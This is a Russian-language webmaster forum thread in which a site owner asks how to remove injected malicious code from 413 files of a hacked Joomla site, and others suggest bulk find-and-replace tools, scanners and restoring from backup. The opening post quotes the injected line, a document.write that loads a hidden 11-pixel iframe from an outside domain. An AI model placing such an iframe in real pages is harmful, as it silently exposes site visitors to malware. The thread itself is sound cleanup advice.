Как удалить вирусный код с Joomla у 413 файлов

M
На сайте с 14.07.2010
Offline
84
1583

Здравствуйте, :(

Возможно кто-нибудь сталкивался с таким вредоносным кодом:

;document.write('<iframe src="http://prqddfp.ddns.info/valcunatrop.cgi?6" scrolling="auto" frameborder="no" align="center" height="11" width="11"></iframe>');

Не подскажете как его удалить скриптом, программой, ещё чем нибудь, потому как ручками очень тяжко перебрать 413 файлов (откуда знаю что 413, помогли скриптом найти все document.write(' ...)

Примечание: Это сайт заразился вирусом.

_________Продвижение в Google, Yandex__________
BadBoy
На сайте с 31.01.2005
Offline
291
#1

если из файлов надо удалить, то прога FindFiles поможет...

возможно надо из шаблона удалить.

кот Бегемот
На сайте с 07.12.2009
Offline
278
#2

Опять же можно сюда обратиться. http://www.revisium.com/ai/ там можно попросить за небольшую плату устранить проблему.

---------- Добавлено 03.12.2012 в 22:13 ----------

Или так: Выкачиваете сайт на компьютер. Используете редактор Notepad++. Открываете программу и нажимаете комбинацию клавиш <CTRL>+<F>, переходите на вкладку "Найти в файлах", вводите что искать и пишете на что заменить (если нужно удалить код, а не заменить, введите один пробел), выбираете папку с сайтом и нажимаете "заменить в файлах". Заливаете файлы обратно на хостинг.

Яндекс Директ, Гугд адворс, не дорого и ответственно. Телеграмм @H_Ilin
M
На сайте с 14.07.2010
Offline
84
#3
garik77:
Опять же можно сюда обратиться. http://www.revisium.com/ai/ там можно попросить за небольшую плату устранить проблему.

---------- Добавлено 03.12.2012 в 22:13 ----------

Или так: Выкачиваете сайт на компьютер. Используете редактор Notepad++. Открываете программу и нажимаете комбинацию клавиш <CTRL>+<F>, переходите на вкладку "Найти в файлах", вводите что искать и пишете на что заменить (если нужно удалить код, а не заменить, введите один пробел), выбираете папку с сайтом и нажимаете "заменить в файлах". Заливаете файлы обратно на хостинг.

Спасибо большое за идеи, но количество файлов и сами файлы я знаю, просто их очень много ручками делать, это очень много займёт времени, потому интересуюсь, возможно кто-то сталкивался с таким и находил, к примеру, какой-то скрипт, которые бы заменял в файле *.js определённую строку типа: document.write('

кот Бегемот
На сайте с 07.12.2009
Offline
278
#4

Так Notepad++ отлично это делает. Я так удалял кучу дерьма с сайта..

kosty56rus
На сайте с 21.04.2012
Offline
30
#5

Вот скрипт закидываем в корень, запускается так, http://сайт.ру/replace.php?pas=joomla дальше думаю разберетесь что на что менять. Там краткое описание закинул, может что то поможет.

zip replace.zip
txt 117037.txt
Мир состоит из бездельников, которые хотят иметь деньги, не работая, и придурков, которые готовы работать, не богатея
V1
На сайте с 13.06.2011
Offline
49
#6

В notepad++ есть поиск и замена по файлам, там выбираете папку со своим сайтом, и заменяете этот скрипт на пробел..

pauk
На сайте с 26.01.2005
Offline
543
#7

FindFiles/Notepad... :) Да-да. Сизифов труд. ТС обнаружил один фрагмент. А там может быть их много.;) Бэкапы надо делать.

Ну если нет бэкапов, ставить заново и шаблон натягивать.

Антивирусы, кстати, тоже не всё ловят.

Тут на шелл надо смотреть. С дырой в хостинге придётся постоянно восстанавливать.

Hi!
d4k
На сайте с 02.03.2010
Offline
146
d4k
#8
kosty56rus:
Вот скрипт закидываем в корень, запускается так, http://сайт.ру/replace.php?pas=joomla дальше думаю разберетесь что на что менять. Там краткое описание закинул, может что то поможет.

Ваш скрипт поможет только частично... Очень часто видел как подключают шелы путем заливки на внешние домены а на зараженный уже тянется по ссылке...

П.с. сам лечил и искал "подозрительную нечить" скриптом "Айболит" - тоже не панацея, но отлично помогает и экономит время.

kosty56rus
На сайте с 21.04.2012
Offline
30
#9
d4k:
Ваш скрипт поможет только частично.

Ну во первых скрипт, не мой, кто писал даже не знаю. Во вторых он помогает на столько на сколько хватит знаний, потому что он преднозначен для поиска любого слова или кода во всех файлах в корне или в любом каталоге на хостинге. А уже что именно искать это уже второй вопрос. Айболит на сколько я знаю только инфу выдоет, а эту инфу можно этим скриптом поудолять.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий